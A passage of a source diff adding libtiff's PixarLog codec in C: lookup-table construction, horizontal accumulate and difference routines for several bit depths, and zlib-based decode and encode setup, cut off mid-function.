+    register unsigned int  cr, cg, cb, ca, mask;
+    register float  t0, t1, t2, t3;
+
+    if (n >= stride) {
+	mask = CODE_MASK;
+	if (stride == 3) {
+	    t0 = ToLinearF[cr = wp[0]];
+	    t1 = ToLinearF[cg = wp[1]];
+	    t2 = ToLinearF[cb = wp[2]];
+	    op[0] = t0;
+	    op[1] = t1;
+	    op[2] = t2;
+	    n -= 3;
+	    while (n > 0) {
+		wp += 3;
+		op += 3;
+		n -= 3;
+		t0 = ToLinearF[(cr += wp[0]) & mask];
+		t1 = ToLinearF[(cg += wp[1]) & mask];
+		t2 = ToLinearF[(cb += wp[2]) & mask];
+		op[0] = t0;
+		op[1] = t1;
+		op[2] = t2;
+	    }
+	} else if (stride == 4) {
+	    t0 = ToLinearF[cr = wp[0]];
+	    t1 = ToLinearF[cg = wp[1]];
+	    t2 = ToLinearF[cb = wp[2]];
+	    t3 = ToLinearF[ca = wp[3]];
+	    op[0] = t0;
+	    op[1] = t1;
+	    op[2] = t2;
+	    op[3] = t3;
+	    n -= 4;
+	    while (n > 0) {
+		wp += 4;
+		op += 4;
+		n -= 4;
+		t0 = ToLinearF[(cr += wp[0]) & mask];
+		t1 = ToLinearF[(cg += wp[1]) & mask];
+		t2 = ToLinearF[(cb += wp[2]) & mask];
+		t3 = ToLinearF[(ca += wp[3]) & mask];
+		op[0] = t0;
+		op[1] = t1;
+		op[2] = t2;
+		op[3] = t3;
+	    }
+	} else {
+	    REPEAT(stride, *op = ToLinearF[*wp&mask]; wp++; op++)
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride,
+		    wp[stride] += *wp; *op = ToLinearF[*wp&mask]; wp++; op++)
+		n -= stride;
+	    }
+	}
+    }
+}
+
+static void
+horizontalAccumulate12(uint16 *wp, int n, int stride, int16 *op,
+	float *ToLinearF)
+{
+    register unsigned int  cr, cg, cb, ca, mask;
+    register float  t0, t1, t2, t3;
+
+#define SCALE12 2048.0F
+#define CLAMP12(t) (((t) < 3071) ? (uint16) (t) : 3071)
+
+    if (n >= stride) {
+	mask = CODE_MASK;
+	if (stride == 3) {
+	    t0 = ToLinearF[cr = wp[0]] * SCALE12;
+	    t1 = ToLinearF[cg = wp[1]] * SCALE12;
+	    t2 = ToLinearF[cb = wp[2]] * SCALE12;
+	    op[0] = CLAMP12(t0);
+	    op[1] = CLAMP12(t1);
+	    op[2] = CLAMP12(t2);
+	    n -= 3;
+	    while (n > 0) {
+		wp += 3;
+		op += 3;
+		n -= 3;
+		t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12;
+		t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12;
+		t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12;
+		op[0] = CLAMP12(t0);
+		op[1] = CLAMP12(t1);
+		op[2] = CLAMP12(t2);
+	    }
+	} else if (stride == 4) {
+	    t0 = ToLinearF[cr = wp[0]] * SCALE12;
+	    t1 = ToLinearF[cg = wp[1]] * SCALE12;
+	    t2 = ToLinearF[cb = wp[2]] * SCALE12;
+	    t3 = ToLinearF[ca = wp[3]] * SCALE12;
+	    op[0] = CLAMP12(t0);
+	    op[1] = CLAMP12(t1);
+	    op[2] = CLAMP12(t2);
+	    op[3] = CLAMP12(t3);
+	    n -= 4;
+	    while (n > 0) {
+		wp += 4;
+		op += 4;
+		n -= 4;
+		t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12;
+		t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12;
+		t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12;
+		t3 = ToLinearF[(ca += wp[3]) & mask] * SCALE12;
+		op[0] = CLAMP12(t0);
+		op[1] = CLAMP12(t1);
+		op[2] = CLAMP12(t2);
+		op[3] = CLAMP12(t3);
+	    }
+	} else {
+	    REPEAT(stride, t0 = ToLinearF[*wp&mask] * SCALE12;
+                           *op = CLAMP12(t0); wp++; op++)
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride,
+		    wp[stride] += *wp; t0 = ToLinearF[wp[stride]&mask]*SCALE12;
+		    *op = CLAMP12(t0);  wp++; op++)
+		n -= stride;
+	    }
+	}
+    }
+}
+
+static void
+horizontalAccumulate16(uint16 *wp, int n, int stride, uint16 *op,
+	uint16 *ToLinear16)
+{
+    register unsigned int  cr, cg, cb, ca, mask;
+
+    if (n >= stride) {
+	mask = CODE_MASK;
+	if (stride == 3) {
+	    op[0] = ToLinear16[cr = wp[0]];
+	    op[1] = ToLinear16[cg = wp[1]];
+	    op[2] = ToLinear16[cb = wp[2]];
+	    n -= 3;
+	    while (n > 0) {
+		wp += 3;
+		op += 3;
+		n -= 3;
+		op[0] = ToLinear16[(cr += wp[0]) & mask];
+		op[1] = ToLinear16[(cg += wp[1]) & mask];
+		op[2] = ToLinear16[(cb += wp[2]) & mask];
+	    }
+	} else if (stride == 4) {
+	    op[0] = ToLinear16[cr = wp[0]];
+	    op[1] = ToLinear16[cg = wp[1]];
+	    op[2] = ToLinear16[cb = wp[2]];
+	    op[3] = ToLinear16[ca = wp[3]];
+	    n -= 4;
+	    while (n > 0) {
+		wp += 4;
+		op += 4;
+		n -= 4;
+		op[0] = ToLinear16[(cr += wp[0]) & mask];
+		op[1] = ToLinear16[(cg += wp[1]) & mask];
+		op[2] = ToLinear16[(cb += wp[2]) & mask];
+		op[3] = ToLinear16[(ca += wp[3]) & mask];
+	    }
+	} else {
+	    REPEAT(stride, *op = ToLinear16[*wp&mask]; wp++; op++)
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride,
+		    wp[stride] += *wp; *op = ToLinear16[*wp&mask]; wp++; op++)
+		n -= stride;
+	    }
+	}
+    }
+}
+
+/* 
+ * Returns the log encoded 11-bit values with the horizontal
+ * differencing undone.
+ */
+static void
+horizontalAccumulate11(uint16 *wp, int n, int stride, uint16 *op)
+{
+    register unsigned int  cr, cg, cb, ca, mask;
+
+    if (n >= stride) {
+	mask = CODE_MASK;
+	if (stride == 3) {
+	    op[0] = cr = wp[0];  op[1] = cg = wp[1];  op[2] = cb = wp[2];
+	    n -= 3;
+	    while (n > 0) {
+		wp += 3;
+		op += 3;
+		n -= 3;
+		op[0] = (cr += wp[0]) & mask;
+		op[1] = (cg += wp[1]) & mask;
+		op[2] = (cb += wp[2]) & mask;
+	    }
+	} else if (stride == 4) {
+	    op[0] = cr = wp[0];  op[1] = cg = wp[1];
+	    op[2] = cb = wp[2];  op[3] = ca = wp[3];
+	    n -= 4;
+	    while (n > 0) {
+		wp += 4;
+		op += 4;
+		n -= 4;
+		op[0] = (cr += wp[0]) & mask;
+		op[1] = (cg += wp[1]) & mask;
+		op[2] = (cb += wp[2]) & mask;
+		op[3] = (ca += wp[3]) & mask;
+	    } 
+	} else {
+	    REPEAT(stride, *op = *wp&mask; wp++; op++)
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride,
+		    wp[stride] += *wp; *op = *wp&mask; wp++; op++)
+	    	n -= stride;
+	    }
+	}
+    }
+}
+
+static void
+horizontalAccumulate8(uint16 *wp, int n, int stride, unsigned char *op,
+	unsigned char *ToLinear8)
+{
+    register unsigned int  cr, cg, cb, ca, mask;
+
+    if (n >= stride) {
+	mask = CODE_MASK;
+	if (stride == 3) {
+	    op[0] = ToLinear8[cr = wp[0]];
+	    op[1] = ToLinear8[cg = wp[1]];
+	    op[2] = ToLinear8[cb = wp[2]];
+	    n -= 3;
+	    while (n > 0) {
+		n -= 3;
+		wp += 3;
+		op += 3;
+		op[0] = ToLinear8[(cr += wp[0]) & mask];
+		op[1] = ToLinear8[(cg += wp[1]) & mask];
+		op[2] = ToLinear8[(cb += wp[2]) & mask];
+	    }
+	} else if (stride == 4) {
+	    op[0] = ToLinear8[cr = wp[0]];
+	    op[1] = ToLinear8[cg = wp[1]];
+	    op[2] = ToLinear8[cb = wp[2]];
+	    op[3] = ToLinear8[ca = wp[3]];
+	    n -= 4;
+	    while (n > 0) {
+		n -= 4;
+		wp += 4;
+		op += 4;
+		op[0] = ToLinear8[(cr += wp[0]) & mask];
+		op[1] = ToLinear8[(cg += wp[1]) & mask];
+		op[2] = ToLinear8[(cb += wp[2]) & mask];
+		op[3] = ToLinear8[(ca += wp[3]) & mask];
+	    }
+	} else {
+	    REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++)
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride,
+		    wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++)
+		n -= stride;
+	    }
+	}
+    }
+}
+
+
+static void
+horizontalAccumulate8abgr(uint16 *wp, int n, int stride, unsigned char *op,
+	unsigned char *ToLinear8)
+{
+    register unsigned int  cr, cg, cb, ca, mask;
+    register unsigned char  t0, t1, t2, t3;
+
+    if (n >= stride) {
+	mask = CODE_MASK;
+	if (stride == 3) {
+	    op[0] = 0;
+	    t1 = ToLinear8[cb = wp[2]];
+	    t2 = ToLinear8[cg = wp[1]];
+	    t3 = ToLinear8[cr = wp[0]];
+	    op[1] = t1;
+	    op[2] = t2;
+	    op[3] = t3;
+	    n -= 3;
+	    while (n > 0) {
+		n -= 3;
+		wp += 3;
+		op += 4;
+		op[0] = 0;
+		t1 = ToLinear8[(cb += wp[2]) & mask];
+		t2 = ToLinear8[(cg += wp[1]) & mask];
+		t3 = ToLinear8[(cr += wp[0]) & mask];
+		op[1] = t1;
+		op[2] = t2;
+		op[3] = t3;
+	    }
+	} else if (stride == 4) {
+	    t0 = ToLinear8[ca = wp[3]];
+	    t1 = ToLinear8[cb = wp[2]];
+	    t2 = ToLinear8[cg = wp[1]];
+	    t3 = ToLinear8[cr = wp[0]];
+	    op[0] = t0;
+	    op[1] = t1;
+	    op[2] = t2;
+	    op[3] = t3;
+	    n -= 4;
+	    while (n > 0) {
+		n -= 4;
+		wp += 4;
+		op += 4;
+		t0 = ToLinear8[(ca += wp[3]) & mask];
+		t1 = ToLinear8[(cb += wp[2]) & mask];
+		t2 = ToLinear8[(cg += wp[1]) & mask];
+		t3 = ToLinear8[(cr += wp[0]) & mask];
+		op[0] = t0;
+		op[1] = t1;
+		op[2] = t2;
+		op[3] = t3;
+	    }
+	} else {
+	    REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++)
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride,
+		    wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++)
+		n -= stride;
+	    }
+	}
+    }
+}
+
+/*
+ * State block for each open TIFF
+ * file using PixarLog compression/decompression.
+ */
+typedef	struct {
+	TIFFPredictorState	predict;
+	z_stream		stream;
+	uint16			*tbuf; 
+	uint16			stride;
+	int			state;
+	int			user_datafmt;
+	int			quality;
+#define PLSTATE_INIT 1
+
+	TIFFVSetMethod		vgetparent;	/* super-class method */
+	TIFFVSetMethod		vsetparent;	/* super-class method */
+
+	float *ToLinearF;
+	uint16 *ToLinear16;
+	unsigned char *ToLinear8;
+	uint16  *FromLT2;
+	uint16  *From14; /* Really for 16-bit data, but we shift down 2 */
+	uint16  *From8;
+	
+} PixarLogState;
+
+static int
+PixarLogMakeTables(PixarLogState *sp)
+{
+
+/*
+ *    We make several tables here to convert between various external
+ *    representations (float, 16-bit, and 8-bit) and the internal
+ *    11-bit companded representation.  The 11-bit representation has two
+ *    distinct regions.  A linear bottom end up through .018316 in steps
+ *    of about .000073, and a region of constant ratio up to about 25.
+ *    These floating point numbers are stored in the main table ToLinearF. 
+ *    All other tables are derived from this one.  The tables (and the
+ *    ratios) are continuous at the internal seam.
+ */
+
+    int  nlin, lt2size;
+    int  i, j;
+    double  b, c, linstep, v;
+    float *ToLinearF;
+    uint16 *ToLinear16;
+    unsigned char *ToLinear8;
+    uint16  *FromLT2;
+    uint16  *From14; /* Really for 16-bit data, but we shift down 2 */
+    uint16  *From8;
+
+    c = log(RATIO);	
+    nlin = (int)(1./c);	/* nlin must be an integer */
+    c = 1./nlin;
+    b = exp(-c*ONE);	/* multiplicative scale factor [b*exp(c*ONE) = 1] */
+    linstep = b*c*exp(1.);
+
+    LogK1 = (float)(1./c);	/* if (v >= 2)  token = k1*log(v*k2) */
+    LogK2 = (float)(1./b);
+    lt2size = (int)(2./linstep) + 1;
+    FromLT2 = (uint16 *)_TIFFmalloc(lt2size*sizeof(uint16));
+    From14 = (uint16 *)_TIFFmalloc(16384*sizeof(uint16));
+    From8 = (uint16 *)_TIFFmalloc(256*sizeof(uint16));
+    ToLinearF = (float *)_TIFFmalloc(TSIZEP1 * sizeof(float));
+    ToLinear16 = (uint16 *)_TIFFmalloc(TSIZEP1 * sizeof(uint16));
+    ToLinear8 = (unsigned char *)_TIFFmalloc(TSIZEP1 * sizeof(unsigned char));
+    if (FromLT2 == NULL || From14  == NULL || From8   == NULL ||
+	 ToLinearF == NULL || ToLinear16 == NULL || ToLinear8 == NULL) {
+	if (FromLT2) _TIFFfree(FromLT2);
+	if (From14) _TIFFfree(From14);
+	if (From8) _TIFFfree(From8);
+	if (ToLinearF) _TIFFfree(ToLinearF);
+	if (ToLinear16) _TIFFfree(ToLinear16);
+	if (ToLinear8) _TIFFfree(ToLinear8);
+	sp->FromLT2 = NULL;
+	sp->From14 = NULL;
+	sp->From8 = NULL;
+	sp->ToLinearF = NULL;
+	sp->ToLinear16 = NULL;
+	sp->ToLinear8 = NULL;
+	return 0;
+    }
+
+    j = 0;
+
+    for (i = 0; i < nlin; i++)  {
+	v = i * linstep;
+	ToLinearF[j++] = (float)v;
+    }
+
+    for (i = nlin; i < TSIZE; i++)
+	ToLinearF[j++] = (float)(b*exp(c*i));
+
+    ToLinearF[2048] = ToLinearF[2047];
+
+    for (i = 0; i < TSIZEP1; i++)  {
+	v = ToLinearF[i]*65535.0 + 0.5;
+	ToLinear16[i] = (v > 65535.0) ? 65535 : (uint16)v;
+	v = ToLinearF[i]*255.0  + 0.5;
+	ToLinear8[i]  = (v > 255.0) ? 255 : (unsigned char)v;
+    }
+
+    j = 0;
+    for (i = 0; i < lt2size; i++)  {
+	if ((i*linstep)*(i*linstep) > ToLinearF[j]*ToLinearF[j+1])
+	    j++;
+	FromLT2[i] = j;
+    }
+
+    /*
+     * Since we lose info anyway on 16-bit data, we set up a 14-bit
+     * table and shift 16-bit values down two bits on input.
+     * saves a little table space.
+     */
+    j = 0;
+    for (i = 0; i < 16384; i++)  {
+	while ((i/16383.)*(i/16383.) > ToLinearF[j]*ToLinearF[j+1])
+	    j++;
+	From14[i] = j;
+    }
+
+    j = 0;
+    for (i = 0; i < 256; i++)  {
+	while ((i/255.)*(i/255.) > ToLinearF[j]*ToLinearF[j+1])
+	    j++;
+	From8[i] = j;
+    }
+
+    Fltsize = (float)(lt2size/2);
+
+    sp->ToLinearF = ToLinearF;
+    sp->ToLinear16 = ToLinear16;
+    sp->ToLinear8 = ToLinear8;
+    sp->FromLT2 = FromLT2;
+    sp->From14 = From14;
+    sp->From8 = From8;
+
+    return 1;
+}
+
+#define	DecoderState(tif)	((PixarLogState*) (tif)->tif_data)
+#define	EncoderState(tif)	((PixarLogState*) (tif)->tif_data)
+
+static	int PixarLogEncode(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int PixarLogDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+
+#define N(a)   (sizeof(a)/sizeof(a[0]))
+#define PIXARLOGDATAFMT_UNKNOWN	-1
+
+static int
+PixarLogGuessDataFmt(TIFFDirectory *td)
+{
+	int guess = PIXARLOGDATAFMT_UNKNOWN;
+	int format = td->td_sampleformat;
+
+	/* If the user didn't tell us his datafmt,
+	 * take our best guess from the bitspersample.
+	 */
+	switch (td->td_bitspersample) {
+	 case 32:
+		if (format == SAMPLEFORMAT_IEEEFP)
+			guess = PIXARLOGDATAFMT_FLOAT;
+		break;
+	 case 16:
+		if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT)
+			guess = PIXARLOGDATAFMT_16BIT;
+		break;
+	 case 12:
+		if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_INT)
+			guess = PIXARLOGDATAFMT_12BITPICIO;
+		break;
+	 case 11:
+		if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT)
+			guess = PIXARLOGDATAFMT_11BITLOG;
+		break;
+	 case 8:
+		if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT)
+			guess = PIXARLOGDATAFMT_8BIT;
+		break;
+	}
+
+	return guess;
+}
+
+static uint32
+multiply(size_t m1, size_t m2)
+{
+	uint32	bytes = m1 * m2;
+
+	if (m1 && bytes / m1 != m2)
+		bytes = 0;
+
+	return bytes;
+}
+
+static int
+PixarLogSetupDecode(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	PixarLogState* sp = DecoderState(tif);
+	tsize_t tbuf_size;
+	static const char module[] = "PixarLogSetupDecode";
+
+	assert(sp != NULL);
+
+	/* Make sure no byte swapping happens on the data
+	 * after decompression. */
+	tif->tif_postdecode = _TIFFNoPostDecode;
+
+	/* for some reason, we can't do this in TIFFInitPixarLog */
+
+	sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ?
+	    td->td_samplesperpixel : 1);
+	tbuf_size = multiply(multiply(multiply(sp->stride, td->td_imagewidth),
+				      td->td_rowsperstrip), sizeof(uint16));
+	if (tbuf_size == 0)
+		return (0);
+	sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size);
+	if (sp->tbuf == NULL)
+		return (0);
+	if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN)
+		sp->user_datafmt = PixarLogGuessDataFmt(td);
+	if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+			"PixarLog compression can't handle bits depth/data format combination (depth: %d)", 
+			td->td_bitspersample);
+		return (0);
+	}
+
+	if (inflateInit(&sp->stream) != Z_OK) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: %s", tif->tif_name, sp->stream.msg);
+		return (0);
+	} else {
+		sp->state |= PLSTATE_INIT;
+		return (1);
+	}
+}
+
+/*
+ * Setup state for decoding a strip.
+ */
+static int
+PixarLogPreDecode(TIFF* tif, tsample_t s)
+{
+	PixarLogState* sp = DecoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->stream.next_in = tif->tif_rawdata;
+	sp->stream.avail_in = tif->tif_rawcc;
+	return (inflateReset(&sp->stream) == Z_OK);
+}
+
+static int
+PixarLogDecode(TIFF* tif, tidata_t op, tsize_t occ, tsample_t s)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	PixarLogState* sp = DecoderState(tif);
+	static const char module[] = "PixarLogDecode";
+	int i, nsamples, llen;
+	uint16 *up;
+
+	switch (sp->user_datafmt) {
+	case PIXARLOGDATAFMT_FLOAT:
+		nsamples = occ / sizeof(float);	/* XXX float == 32 bits */
+		break;
+	case PIXARLOGDATAFMT_16BIT:
+	case PIXARLOGDATAFMT_12BITPICIO:
+	case PIXARLOGDATAFMT_11BITLOG:
+		nsamples = occ / sizeof(uint16); /* XXX uint16 == 16 bits */
+		break;
+	case PIXARLOGDATAFMT_8BIT:
+	case PIXARLOGDATAFMT_8BITABGR:
+		nsamples = occ;
+		break;
+	default:
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"%d bit input not supported in PixarLog",
+			td->td_bitspersample);
+		return 0;
+	}
+
+	llen = sp->stride * td->td_imagewidth;
+
+	(void) s;
+	assert(sp != NULL);
+	sp->stream.next_out = (unsigned char *) sp->tbuf;
+	sp->stream.avail_out = nsamples * sizeof(uint16);
+	do {
+		int state = inflate(&sp->stream, Z_PARTIAL_FLUSH);
+		if (state == Z_STREAM_END) {
+			break;			/* XXX */
+		}
+		if (state == Z_DATA_ERROR) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Decoding error at scanline %d, %s",
+			    tif->tif_name, tif->tif_row, sp->stream.msg);
+			if (inflateSync(&sp->stream) != Z_OK)
+				return (0);
+			continue;
+		}
+		if (state != Z_OK) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: zlib error: %s",
+			    tif->tif_name, sp->stream.msg);
+			return (0);
+		}
+	} while (sp->stream.avail_out > 0);
+
+	/* hopefully, we got all the bytes we needed */
+	if (sp->stream.avail_out != 0) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: Not enough data at scanline %d (short %d bytes)",
+		    tif->tif_name, tif->tif_row, sp->stream.avail_out);
+		return (0);
+	}
+
+	up = sp->tbuf;
+	/* Swap bytes in the data if from a different endian machine. */
+	if (tif->tif_flags & TIFF_SWAB)
+		TIFFSwabArrayOfShort(up, nsamples);
+
+	for (i = 0; i < nsamples; i += llen, up += llen) {
+		switch (sp->user_datafmt)  {
+		case PIXARLOGDATAFMT_FLOAT:
+			horizontalAccumulateF(up, llen, sp->stride,
+					(float *)op, sp->ToLinearF);
+			op += llen * sizeof(float);
+			break;
+		case PIXARLOGDATAFMT_16BIT:
+			horizontalAccumulate16(up, llen, sp->stride,
+					(uint16 *)op, sp->ToLinear16);
+			op += llen * sizeof(uint16);
+			break;
+		case PIXARLOGDATAFMT_12BITPICIO:
+			horizontalAccumulate12(up, llen, sp->stride,
+					(int16 *)op, sp->ToLinearF);
+			op += llen * sizeof(int16);
+			break;
+		case PIXARLOGDATAFMT_11BITLOG:
+			horizontalAccumulate11(up, llen, sp->stride,
+					(uint16 *)op);
+			op += llen * sizeof(uint16);
+			break;
+		case PIXARLOGDATAFMT_8BIT:
+			horizontalAccumulate8(up, llen, sp->stride,
+					(unsigned char *)op, sp->ToLinear8);
+			op += llen * sizeof(unsigned char);
+			break;
+		case PIXARLOGDATAFMT_8BITABGR:
+			horizontalAccumulate8abgr(up, llen, sp->stride,
+					(unsigned char *)op, sp->ToLinear8);
+			op += llen * sizeof(unsigned char);
+			break;
+		default:
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+				  "PixarLogDecode: unsupported bits/sample: %d", 
+				  td->td_bitspersample);
+			return (0);
+		}
+	}
+
+	return (1);
+}
+
+static int
+PixarLogSetupEncode(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	PixarLogState* sp = EncoderState(tif);
+	tsize_t tbuf_size;
+	static const char module[] = "PixarLogSetupEncode";
+
+	assert(sp != NULL);
+
+	/* for some reason, we can't do this in TIFFInitPixarLog */
+
+	sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ?
+	    td->td_samplesperpixel : 1);
+	tbuf_size = multiply(multiply(multiply(sp->stride, td->td_imagewidth),
+				      td->td_rowsperstrip), sizeof(uint16));
+	if (tbuf_size == 0)
+		return (0);
+	sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size);
+	if (sp->tbuf == NULL)
+		return (0);
+	if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN)
+		sp->user_datafmt = PixarLogGuessDataFmt(td);
+	if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) {
+		TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle %d bit linear encodings", td->td_bitspersample);
+		return (0);
+	}
+
+	if (deflateInit(&sp->stream, sp->quality) != Z_OK) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: %s", tif->tif_name, sp->stream.msg);
+		return (0);
+	} else {
+		sp->state |= PLSTATE_INIT;
+		return (1);
+	}
+}
+
+/*
+ * Reset encoding state at the start of a strip.
+ */
+static int
+PixarLogPreEncode(TIFF* tif, tsample_t s)
+{
+	PixarLogState *sp = EncoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->stream.next_out = tif->tif_rawdata;
+	sp->stream.avail_out = tif->tif_rawdatasize;
+	return (deflateReset(&sp->stream) == Z_OK);
+}
+
+static void
+horizontalDifferenceF(float *ip, int n, int stride, uint16 *wp, uint16 *FromLT2)
+{
+
+    int32 r1, g1, b1, a1, r2, g2, b2, a2, mask;
+    float fltsize = Fltsize;
+
+#define  CLAMP(v) ( (v<(float)0.)   ? 0				\
+		  : (v<(float)2.)   ? FromLT2[(int)(v*fltsize)]	\
+		  : (v>(float)24.2) ? 2047			\
+		  : LogK1*log(v*LogK2) + 0.5 )
+
+    mask = CODE_MASK;
+    if (n >= stride) {
+	if (stride == 3) {
+	    r2 = wp[0] = (uint16) CLAMP(ip[0]);
+	    g2 = wp[1] = (uint16) CLAMP(ip[1]);
+	    b2 = wp[2] = (uint16) CLAMP(ip[2]);
+	    n -= 3;
+	    while (n > 0) {
+		n -= 3;
+		wp += 3;
+		ip += 3;
+		r1 = (int32) CLAMP(ip[0]); wp[0] = (r1-r2) & mask; r2 = r1;
+		g1 = (int32) CLAMP(ip[1]); wp[1] = (g1-g2) & mask; g2 = g1;
+		b1 = (int32) CLAMP(ip[2]); wp[2] = (b1-b2) & mask; b2 = b1;
+	    }
+	} else if (stride == 4) {
+	    r2 = wp[0] = (uint16) CLAMP(ip[0]);
+	    g2 = wp[1] = (uint16) CLAMP(ip[1]);
+	    b2 = wp[2] = (uint16) CLAMP(ip[2]);
+	    a2 = wp[3] = (uint16) CLAMP(ip[3]);
+	    n -= 4;
+	    while (n > 0) {
+		n -= 4;
+		wp += 4;
+		ip += 4;
+		r1 = (int32) CLAMP(ip[0]); wp[0] = (r1-r2) & mask; r2 = r1;
+		g1 = (int32) CLAMP(ip[1]); wp[1] = (g1-g2) & mask; g2 = g1;
+		b1 = (int32) CLAMP(ip[2]); wp[2] = (b1-b2) & mask; b2 = b1;
+		a1 = (int32) CLAMP(ip[3]); wp[3] = (a1-a2) & mask; a2 = a1;
+	    }
+	} else {
+	    ip += n - 1;	/* point to last one */
+	    wp += n - 1;	/* point to last one */
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]);
+				wp[stride] -= wp[0];
+				wp[stride] &= mask;
+				wp--; ip--)
+		n -= stride;
+	    }
+	    REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp--; ip--)
+	}
+    }
+}
+
+static void
+horizontalDifference16(unsigned short *ip, int n, int stride, 
+	unsigned short *wp, uint16 *From14)
+{
+    register int  r1, g1, b1, a1, r2, g2, b2, a2, mask;
+
+/* assumption is unsigned pixel values */
+#undef   CLAMP
+#define  CLAMP(v) From14[(v) >> 2]
+
+    mask = CODE_MASK;
+    if (n >= stride) {
+	if (stride == 3) {
+	    r2 = wp[0] = CLAMP(ip[0]);  g2 = wp[1] = CLAMP(ip[1]);
+	    b2 = wp[2] = CLAMP(ip[2]);
+	    n -= 3;
+	    while (n > 0) {
+		n -= 3;
+		wp += 3;
+		ip += 3;
+		r1 = CLAMP(ip[0]); wp[0] = (r1-r2) & mask; r2 = r1;
+		g1 = CLAMP(ip[1]); wp[1] = (g1-g2) & mask; g2 = g1;
+		b1 = CLAMP(ip[2]); wp[2] = (b1-b2) & mask; b2 = b1;
+	    }
+	} else if (stride == 4) {
+	    r2 = wp[0] = CLAMP(ip[0]);  g2 = wp[1] = CLAMP(ip[1]);
+	    b2 = wp[2] = CLAMP(ip[2]);  a2 = wp[3] = CLAMP(ip[3]);
+	    n -= 4;
+	    while (n > 0) {
+		n -= 4;
+		wp += 4;
+		ip += 4;
+		r1 = CLAMP(ip[0]); wp[0] = (r1-r2) & mask; r2 = r1;
+		g1 = CLAMP(ip[1]); wp[1] = (g1-g2) & mask; g2 = g1;
+		b1 = CLAMP(ip[2]); wp[2] = (b1-b2) & mask; b2 = b1;
+		a1 = CLAMP(ip[3]); wp[3] = (a1-a2) & mask; a2 = a1;
+	    }
+	} else {
+	    ip += n - 1;	/* point to last one */
+	    wp += n - 1;	/* point to last one */
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride, wp[0] = CLAMP(ip[0]);
+				wp[stride] -= wp[0];
+				wp[stride] &= mask;
+				wp--; ip--)
+		n -= stride;
+	    }
+	    REPEAT(stride, wp[0] = CLAMP(ip[0]); wp--; ip--)
+	}
+    }
+}
+
+
+static void
+horizontalDifference8(unsigned char *ip, int n, int stride, 
+	unsigned short *wp, uint16 *From8)
+{
+    register int  r1, g1, b1, a1, r2, g2, b2, a2, mask;
+
+#undef	 CLAMP
+#define  CLAMP(v) (From8[(v)])
+
+    mask = CODE_MASK;
+    if (n >= stride) {
+	if (stride == 3) {
+	    r2 = wp[0] = CLAMP(ip[0]);  g2 = wp[1] = CLAMP(ip[1]);
+	    b2 = wp[2] = CLAMP(ip[2]);
+	    n -= 3;
+	    while (n > 0) {
+		n -= 3;
+		r1 = CLAMP(ip[3]); wp[3] = (r1-r2) & mask; r2 = r1;
+		g1 = CLAMP(ip[4]); wp[4] = (g1-g2) & mask; g2 = g1;
+		b1 = CLAMP(ip[5]); wp[5] = (b1-b2) & mask; b2 = b1;
+		wp += 3;
+		ip += 3;
+	    }
+	} else if (stride == 4) {
+	    r2 = wp[0] = CLAMP(ip[0]);  g2 = wp[1] = CLAMP(ip[1]);
+	    b2 = wp[2] = CLAMP(ip[2]);  a2 = wp[3] = CLAMP(ip[3]);
+	    n -= 4;
+	    while (n > 0) {
+		n -= 4;
+		r1 = CLAMP(ip[4]); wp[4] = (r1-r2) & mask; r2 = r1;
+		g1 = CLAMP(ip[5]); wp[5] = (g1-g2) & mask; g2 = g1;
+		b1 = CLAMP(ip[6]); wp[6] = (b1-b2) & mask; b2 = b1;
+		a1 = CLAMP(ip[7]); wp[7] = (a1-a2) & mask; a2 = a1;
+		wp += 4;
+		ip += 4;
+	    }
+	} else {
+	    wp += n + stride - 1;	/* point to last one */
+	    ip += n + stride - 1;	/* point to last one */
+	    n -= stride;
+	    while (n > 0) {
+		REPEAT(stride, wp[0] = CLAMP(ip[0]);
+				wp[stride] -= wp[0];
+				wp[stride] &= mask;
+				wp--; ip--)
